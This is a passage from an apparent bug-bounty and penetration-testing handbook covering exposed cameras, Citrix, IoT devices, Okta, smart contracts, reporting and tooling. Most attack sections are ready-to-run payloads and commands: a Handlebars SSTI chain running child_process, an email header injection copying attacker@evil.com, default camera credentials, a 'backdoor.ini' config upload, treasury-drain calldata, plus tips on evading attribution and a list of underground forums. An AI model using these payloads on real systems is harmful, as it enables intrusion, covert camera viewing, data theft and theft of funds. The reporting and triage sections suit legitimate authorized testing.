shodan stats --facets org:20 'country:BR port:554'
shodan search 'country:BR port:554 has_screenshot:true' --limit 100

# 2. Axis — Snapshot and stream WITHOUT authentication
curl "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl "http://IP:8010/axis-cgi/mjpg/video.cgi"  # MJPEG live stream

# 3. Axis — Full config dump (988 parameters!)
curl "http://IP:8010/axis-cgi/admin/param.cgi?action=list"
# → Serial, firmware, resolution, SD card, PTZ, licenses, network

# 4. ONVIF discovery
curl "http://IP:80/onvif/device_service"

# 5. RTSP stream (usually requires auth)
ffplay "rtsp://IP:554/axis-media/media.amp"

# 6. Intelbras / HNAP
curl "http://IP/info/Login.html"              # Login page
curl "http://IP/HNAP1/"                        # HNAP API (GetDeviceSettings)

# 7. Default credentials by manufacturer
# Axis:     root/pass, root/admin
# Hikvision: admin/12345, admin/admin12345
# Dahua:    admin/admin, admin/888888
# Intelbras: admin/admin, admin/(empty)
# Foscam:   admin/(empty)

Real-world case: Axis P1378-LE with 2019 firmware (6 years old):

  • Public snapshot without auth → real-time viewing
  • Full config dump (988 parameters) with serial, licenses, SD card
  • 2 interfaces web (8010 Apache, 8011 Angular)
  • 99,428 cameras exposed in Brazil via Shodan

## 26.22 SendGrid/Email Template SSTI (Handlebars Injection)

SendGrid Dynamic Templates use Handlebars. If user input reaches the template without sanitization:

// Payload for RCE via Handlebars SSTI in email templates:
{{constructor.constructor('return process.env')()}}

// Full chain for command execution:
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('whoami')"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

## 26.23 SMTP Header Injection via API (%0A CRLF)

Email sending APIs that don’t sanitize fields may allow header injection:

// Add CC/BCC via newline injection in the "to" field:
POST /v3/mail/send
{
  "personalizations": [{
    "to": [{"email": "victim@target.com%0ACc:attacker@evil.com%0ABcc:attacker2@evil.com"}]
  }],
  "from": {"email": "noreply@target.com"},
  "subject": "test",
  "content": [{"type": "text/plain", "value": "test"}]
}
// → Email sent to the victim + CC + BCC to the attacker

// Also test in fields: subject, from_name, reply_to, custom_args

Detection: Send %0A, %0D%0A, \r\n, \n in all input fields of email APIs.

## 26.24 NetScaler (Citrix ADC) — Attack Surface

# 1. Identify NetScaler
curl -skI "https://TARGET/" | grep -i "citrix\|netscaler"
# Set-Cookie: NSC_*, Server: Citrix-ADC

# 2. CVE-2019-19781 — Directory traversal to RCE
curl -sk "https://TARGET/vpns/portal/scripts/newbm.pl"
curl -sk "https://TARGET/vpns/portal/scripts/rmbm.pl"
curl -sk --path-as-is "https://TARGET/vpn/../vpns/portal/scripts/newbm.pl"

# 3. NITRO REST API (admin)
curl -sk "https://TARGET/nitro/v1/config/vpnvserver"
curl -sk "https://TARGET/nitro/v1/config/systemuser"
curl -sk "https://TARGET/nitro/v1/config/sslcertkey"

# 4. Default credentials: nsroot/nsroot

# 5. SAML XXE (if SAML auth is configured)
# Inject an XXE payload inside <samlp:AuthnRequest>

## 26.25 Source Code Audit — Insecure Python Patterns

Python code patterns indicating vulnerabilities during source code audit:

# TOCTOU via tempfile.mktemp() — predictable file names
grep -rP 'tempfile\.mktemp\b' .

# Zip Slip via zipfile.extractall() without path validation
grep -rP 'zipfile\.(extractall|extract)\b' .
# Check whether there is path-traversal sanitization on the file names

# yaml.load() without SafeLoader — arbitrary deserialization
grep -rP '(?<!\.SafeLoader\()yaml\.load\b' .
# default yaml.load() uses FullLoader → RCE possible

# eval() / exec() with user input
grep -rP '(eval|exec)\s*\(' --include="*.py" .

# Hardcoded passwords
grep -rP "(password|passwd|secret|token|api_key)\s*=\s*['\"][^'\"]{8,}" --include="*.py" .
# VULNERABLE CODE — Zip Slip:
import zipfile
z = zipfile.ZipFile(uploaded_file)
z.extractall()  # No path validation → files can escape the dir

# SECURE CODE (in the same codebase — inconsistency!):
import tarfile
tar = tarfile.open(uploaded_file)
tar.extractall(members=safe_extract(tar))  # Has protection

# → "Why doesn't zipfile have safe_extract?" → report as an inconsistency

## 26.26 Embedded/IoT Device Recon

Embedded devices (radars, cameras, controllers) exposed to the internet:

# 1. Werkzeug Debugger on embedded devices
curl -s "http://IP:5000/" | grep -i "werkzeug\|debug"
# Exposed SECRET: 5BcAmPHc89fmWT3Tdflg
# EVALEX=false → no console, but stack traces visible

# 2. Config files via download endpoints
curl -s "http://IP:5000/config_ini"     # Lists configs
curl -s "http://IP:5000/download_config/camera.ini"
curl -s "http://IP:5000/download_config/httpsender.ini"

# 3. Config upload (if it accepts new files)
curl -X POST "http://IP:5000/upload_config/backdoor.ini" \
  -F "file=@malicious.ini"

# 4. Real-time operational logs
curl -s "http://IP:5000/ritux_logs"           # Available dates
curl -s "http://IP:5000/ritux_log/2026-06-22" # Logs for the day
# → Vehicle plates, infractions, timestamps

# 5. Operational calendar
curl -s "http://IP:5000/datas_afericao"       # Calibration dates
curl -s "http://IP:5000/datas_teste_tarja"    # Test dates

# 6. Internal proxy via config
grep -r "proxy.php" config_dump/
# → /sistemas/afericao/oficial/imagens_afericoes/proxy.php?url=...

## 26.27 Smart Contract Permission Testing (Foundry/Cast)

For EVM smart contract auditing:

# 1. Gas estimation as a permission oracle
# If cast estimate returns a gas cost → the operation would succeed
# If it returns a revert reason → blocked (but reveals internal logic)
cast estimate TARGET_CONTRACT "setQuorumBps(uint256)" 0 --rpc-url $RPC

# 2. Scan governance parameters
cast call TARGET_CONTRACT "quorumBps()(uint256)" --rpc-url $RPC
cast call TARGET_CONTRACT "votingPeriod()(uint256)" --rpc-url $RPC
cast call TARGET_CONTRACT "entryFee()(uint256)" --rpc-url $RPC
# If quorumBps=0 → any proposal passes without votes
# If entryFee=0 → anyone can participate

# 3. Test admin functions from an unauthorized address
cast send TARGET_CONTRACT "addCouncilMember(address)" $ATTACKER \
  --from $ATTACKER --rpc-url $RPC 2>&1
# If revert "Ownable: caller is not the owner" → safe
# If success → CRITICAL

# 4. Enumerate unexecuted proposals
for id in $(seq 1 50); do
  state=$(cast call TARGET_CONTRACT "state(uint256)(uint8)" $id --rpc-url $RPC)
  [ "$state" = "4" ] && echo "Proposal #$id: Succeeded (executable!)"
done

# 5. Drain chain via malicious proposal
cast calldata "executeDrain(address,uint256)" $ATTACKER 1000000000000000000
# If propose() accepts this calldata → can drain the treasury

## 26.28 Okta-Specific Recon

# 1. grant_type=none detection (OAuth metadata)
curl -s "https://TARGET.okta.com/oauth2/default/.well-known/oauth-authorization-server" | \
  jq '.token_endpoint_auth_methods_supported'
# If ["none"] is in the list → public clients can obtain tokens without a secret

# 2. CSP localhost port mapping (Okta FastPass)
curl -sI "https://TARGET.okta.com/" | grep -i "content-security-policy"
# connect-src http://localhost:8769 http://127.0.0.1:65111
# → Reveals the ports of the Okta FastPass local authenticator
# → Attack: if malware runs on localhost, it can communicate with these ports

# 3. OpenID Configuration discovery
curl -s "https://TARGET.okta.com/.well-known/openid-configuration" | \
  jq '{issuer, auth_endpoint: .authorization_endpoint, token_endpoint: .token_endpoint, grants: .grant_types_supported}'

# 4. Tenant discovery (find the target's Okta domain)
# Check redirect headers in SSO, DNS TXT records, JS bundles
dig TXT _okta.TARGET.com
curl -sI "https://sso.TARGET.com" | grep -i "location\|okta"

# 27. REPORT & TRIAGE METHODOLOGY

## 27.1 7-Question Gate (Before Reporting)

Before writing ANY report, answer these 7 questions:

#QuestionIf “no”
Q1Can you reproduce with a real request, right now?KILL
Q2Is the impact on the program’s accepted list?KILL
Q3Is the target in-scope?KILL
Q4Does it work without privilege the attacker doesn’t have?KILL
Q5Is it not a known/by-design behavior?KILL
Q6Can you prove REAL impact (data), not just “technically possible”?DOWNGRADE
Q7Is it not on the never-submit list?KILL

## 27.2 Severity (Simplified CVSS 3.1)

SeverityCVSSExamples
Critical9.0-10.0RCE, SQLi with dump, CRUD without auth on sensitive data, Public Firebase with PII
High7.0-8.9Auth bypass, JWT forgery, DELETE without auth, Stored XSS, CORS+creds, DMARC p=none
Medium4.0-6.9CORS reflection without creds, info disclosure (emails, versions), reflected XSS, source maps
Low0.1-3.9Missing headers, server version disclosure, path disclosure, missing rate limiting

## 27.3 Title Formula

[Vulnerability Type] in [Component] allows [Impact] at [Target]

Examples:

  • “Broken Access Control in Cloud Functions allows Mass Data Deletion at admin-17e4f”
  • “Public Firestore Database exposes 204K WhatsApp Conversations at {projeto}”
  • “JWT Secret Hardcoded in JS Bundle allows Token Forgery at app.target.com”

## 27.4 Report Structure

1. Summary (1-2 impact sentences)
2. Steps to Reproduce (curl commands, exact requests, responses)
3. Proof of Concept (screenshots, evidence)
4. Impact (real data affected, number of users, business risk)
5. Remediation (concrete fix suggestion)

# 28. FINAL CHECKLIST

## Pre-Engagement

[ ] Define scope (IPs, domains, ranges, exclusions)
[ ] Configure VPN/Tor/proxy
[ ] Check if IP is not leaking (ipleak.net)
[ ] Rotate User-Agent and configure random delays
[ ] Subdomain, common password, and path wordlists
[ ] Automation scripts ready
[ ] GitHub token configured (if doing code search)

## Recon — Phase 1 (Passive)

[ ] crt.sh → subdomains
[ ] Google dorks → secrets, .env, credentials
[ ] Shodan → infrastructure
[ ] DNS (A, AAAA, MX, NS, TXT, CNAME, SOA)
[ ] DMARC, SPF, DKIM
[ ] GitHub code search → leaks
[ ] Wayback Machine → historical URLs

## Recon — Phase 2 (Active)

[ ] Port scan (RustScan/Masscan) → open ports
[ ] .env + .git + Dockerfile + storage/ on all endpoints
[ ] JS bundles → API keys, JWTs, Firebase configs
[ ] Source maps → source code
[ ] CORS → origin reflection test
[ ] Cache headers → WCD/WCP candidates
[ ] Virtual host enumeration

## Hunt — Phase 3

[ ] WordPress: REST API, XML-RPC, wp-login, plugins
[ ] Laravel: .env, logs, Telescope, Horizon, debug
[ ] Spring Boot: actuators, swagger, H2 console
[ ] Firebase: signUp, Firestore, Storage, RTDB
[ ] Supabase: anon key, RLS bypass, storage
[ ] Cloud Functions: GET/POST/DELETE without auth
[ ] S3/MinIO: public listing, upload
[ ] APIs: auth bypass, IDOR, mass assignment
[ ] JWT: decode, alg=none, weak secret, key confusion
[ ] WCD/WCP: cache deception, cache poisoning
[ ] SQLi: time-based blind on all logins
[ ] SSRF: cloud metadata, internal endpoints

## Report — Phase 4

[ ] 7-Question Gate → PASS on all
[ ] Screenshots and evidence captured
[ ] PII redacted in screenshots
[ ] Reproducible PoC (exact command)
[ ] Real impact documented (number of records, data type)
[ ] Fix recommendation included

# 29. ESSENTIAL TOOLS

## Recon & Subdomains

ToolUsageInstallation
SimpleReconSubdomain50 sources (39 passive + 11 active), async, multi-outputgit clone https://github.com/MrCl0wnLab/SimpleReconSubdomain && pip install -r requirements.txt
subfinderSubdomain discoverygo install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
amassFull recon (ASN/Whois)go install -v github.com/owasp-amass/amass/v4/...@master
httpxHTTP probe (which subdomains respond)go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
dnsxDNS toolkitgo install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest

### SimpleReconSubdomain — The Most Complete Subdomain Recon Tool

With 50 sources (39 passive + 11 active) in async Python, it is the most comprehensive tool for subdomain enumeration. Does not depend on external binaries.

# Installation
git clone https://github.com/MrCl0wnLab/SimpleReconSubdomain
cd SimpleReconSubdomain
pip install -r requirements.txt

# Configure API keys in config/api_keys.json:
# alienvault_otx, virustotal, securitytrails, shodan, censys_id/secret,
# github_token, chaos_key, leakix_token, fullhunt_token, intelx_key,
# publicwww_key, bevigil_key, hunterhow_key, merklemap_key, fofa_key, netlas_key

# Basic usage
python simplerecon.py -d target.com

# Fast profile (only no-auth sources)
python simplerecon.py -d target.com --profile fast

# OSINT profile + live verification + takeover detection
python simplerecon.py -d target.com --profile osint --verify-live

# With brute-force + two-pass validation (PureDNS-style)
python simplerecon.py -d target.com \
  --brute wordlists/subdomains-top1million-20000.txt \
  --resolvers https://public-dns.info/nameservers-all.txt \
  --check-resolvers --validate-resolvers --threads 30

# NDJSON output (pipe-friendly with jq)
python simplerecon.py -d target.com --verify-live -o ndjson | jq 'select(.takeover != null)'

# Continuous monitoring (internal cron, no systemd)
python simplerecon.py -d target.com --profile fast --db target.db --quiet \
  --watch-add "0,15,30,45 * * * *"
python simplerecon.py --watch  # starts the scheduler

# Interactive network map (vis.js) with all targets
python simplerecon.py -d target.com --verify-live -o html --outfile map.html

# Markdown report ready for client
python simplerecon.py -d target.com --verify-live -o markdown --outfile report.md

Active sources included (do not make requests to the target, but legitimate DNS queries):

  • nsec_walk — DNSSEC NSEC zone walking (enumerates entire zone without zone transfer)
  • srv_enum — ~70 SRV prefixes (_http._tcp, _ldap._tcp, _kerberos._tcp…)
  • spider — BFS crawler with sourcemap mining
  • robots_sitemap — recursive robots.txt + sitemap.xml
  • ptr_sweep — PTR sweep on target IP /24s
  • asn_sweep — ASN lookup → all CIDRs → PTR sweep
  • vhost_probe — Virtual host brute-force (130+ words)
  • caa_enum — CAA iodef mining (leaks internal hostnames)
  • dns_mining — SPF/DMARC/MX record mining
  • zone_transfer — AXFR on all nameservers
  • ns_brute — Secondary NS discovery

Takeover detection: 22 services (aws-s3, github-pages, heroku, netlify, fastly, shopify…), 11 WAF/CDN fingerprints (cloudflare, akamai, cloudfront, incapsula…).

### Forum & Underground Intelligence Hunting

For CTI (Cyber Threat Intelligence), identify forums where target data may be sold:

# List of underground hacking forums for monitoring:
forums = [
    "xss.is", "ramp4u.io", "breachforums.st", "exploit.in",
    "sinister.ly", "nulled.to", "cracked.io", "leakbase.io",
    "darkforums.net", "evilzone.org", "hackforums.net",
    "lolz.live", "procrdmx.com", "turk-hackteam.com",
    "validmarket.io", "craxpro.io", "voided.to",
]

# Search techniques on these forums:
# - Google dork: site:forum.com "target.com"
# - Telegram: search for "target.com" in leak channels
# - Twitter/X: search for "target.com breach" OR "target.com leak"
# - Ahmia: search the dark web

⚠️ ETHICAL USE: For defensive research and CTI only. Never participate in illegal activities. Use isolated VMs only.

## Scanning

ToolUsageInstallation
RustScanFast port scancargo install rustscan or Docker rustscan/rustscan:2.1.1
MasscanInternet-scale port scangit clone https://github.com/robertdavidgraham/masscan && make
NmapDeep enumerationapt install nmap

## Secret Scanning

ToolUsageInstallation
trufflehogSecret scan in repositoriespip install trufflehog or Docker
gitleaksGit secret detectiongo install github.com/gitleaks/gitleaks/v8@latest
git-houndGit commit dorkinggo install github.com/tillson/git-hound@latest

## Web & API

ToolUsageInstallation
katanaFast web crawlergo install github.com/projectdiscovery/katana/cmd/katana@latest
waybackurlsWayback historical URLsgo install github.com/tomnomnom/waybackurls@latest
gauGet All URLsgo install github.com/lc/gau/v2/cmd/gau@latest
ffufWeb fuzzinggo install github.com/ffuf/ffuf/v2@latest
nucleiVulnerability scanninggo install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
wpscanWordPress scannergem install wpscan

## Cloud

ToolUsageInstallation
cloudfoxAWS/GCP/Azure enumerationgo install github.com/BishopFox/cloudfox@latest
s3scannerOpen S3 bucketsgo install github.com/sa7mon/s3scanner@latest

## Ideal Pipeline

# 1. Subdomains
subfinder -d target.com | httpx -o alive.txt

# 2. Ports
cat alive.txt | while read url; do
  rustscan -a "$url" -p 21,22,80,443,3000,3306,5000,5432,6379,8080,8443,9000,9090,27017
done

# 3. Historical URLs
gau target.com | grep -E "\.env|\.git|api|admin|storage|wp-json|graphql" | sort -u

# 4. Vulnerability scan
nuclei -l alive.txt -t ~/nuclei-templates/

# 5. Crawler
katana -u https://target.com -o urls.txt

# 6. Directory fuzzing
ffuf -u https://target.com/FUZZ -w ~/wordlists/common.txt

# 7. Secrets in repositories
trufflehog github --repo=https://github.com/org/repo

# 30. TECHNIQUE EFFECTIVENESS SUMMARY

TechniqueYieldEffortPriority
.env + .git testing⭐⭐⭐⭐⭐LowDo FIRST
JS bundle analysis (secrets)⭐⭐⭐⭐⭐MediumDo SECOND
CORS misconfig test⭐⭐⭐⭐LowAlways test
Firebase anon access⭐⭐⭐⭐⭐LowIf API key found
Supabase anon access⭐⭐⭐⭐⭐LowIf anon key found
Cloud Functions (no auth)⭐⭐⭐⭐⭐LowIf project ID found
WordPress REST API + XML-RPC⭐⭐⭐⭐LowIf target is WP
GitHub code search⭐⭐⭐MediumWith personal token
Web Cache Poisoning⭐⭐MediumIf CDN confirmed
Web Cache Deception⭐⭐⭐HighIf cache + sensitive data
Subdomain takeover⭐⭐LowAutomatable
SA key testing⭐⭐⭐Medium1:30 is valid
SQLi (time-based blind)⭐⭐⭐HighOn all logins
Docker privesc⭐⭐⭐⭐⭐LowOnly if in docker group
Exposed source maps⭐⭐⭐⭐LowAlways check
Public self-hosted GitLab⭐⭐⭐⭐⭐LowIf target has GitLab
Port scan (RustScan)⭐⭐⭐⭐LowUse on all targets
Masscan on ranges⭐⭐⭐MediumFor /8 or larger

## Final Words

Golden rules:

  1. Document EVERYTHING — what you discover today is tomorrow’s path
  2. One finding leads to another — never stop at the first discovery
  3. Prioritize impact — CRUD without auth > info disclosure > low severity
  4. Protect your IP — Tor/proxy-ns, delays, rotating User-Agent
  5. Be ethical — only test what is in scope and with authorization

Continuous update: As new techniques are validated in the field, this document should be expanded.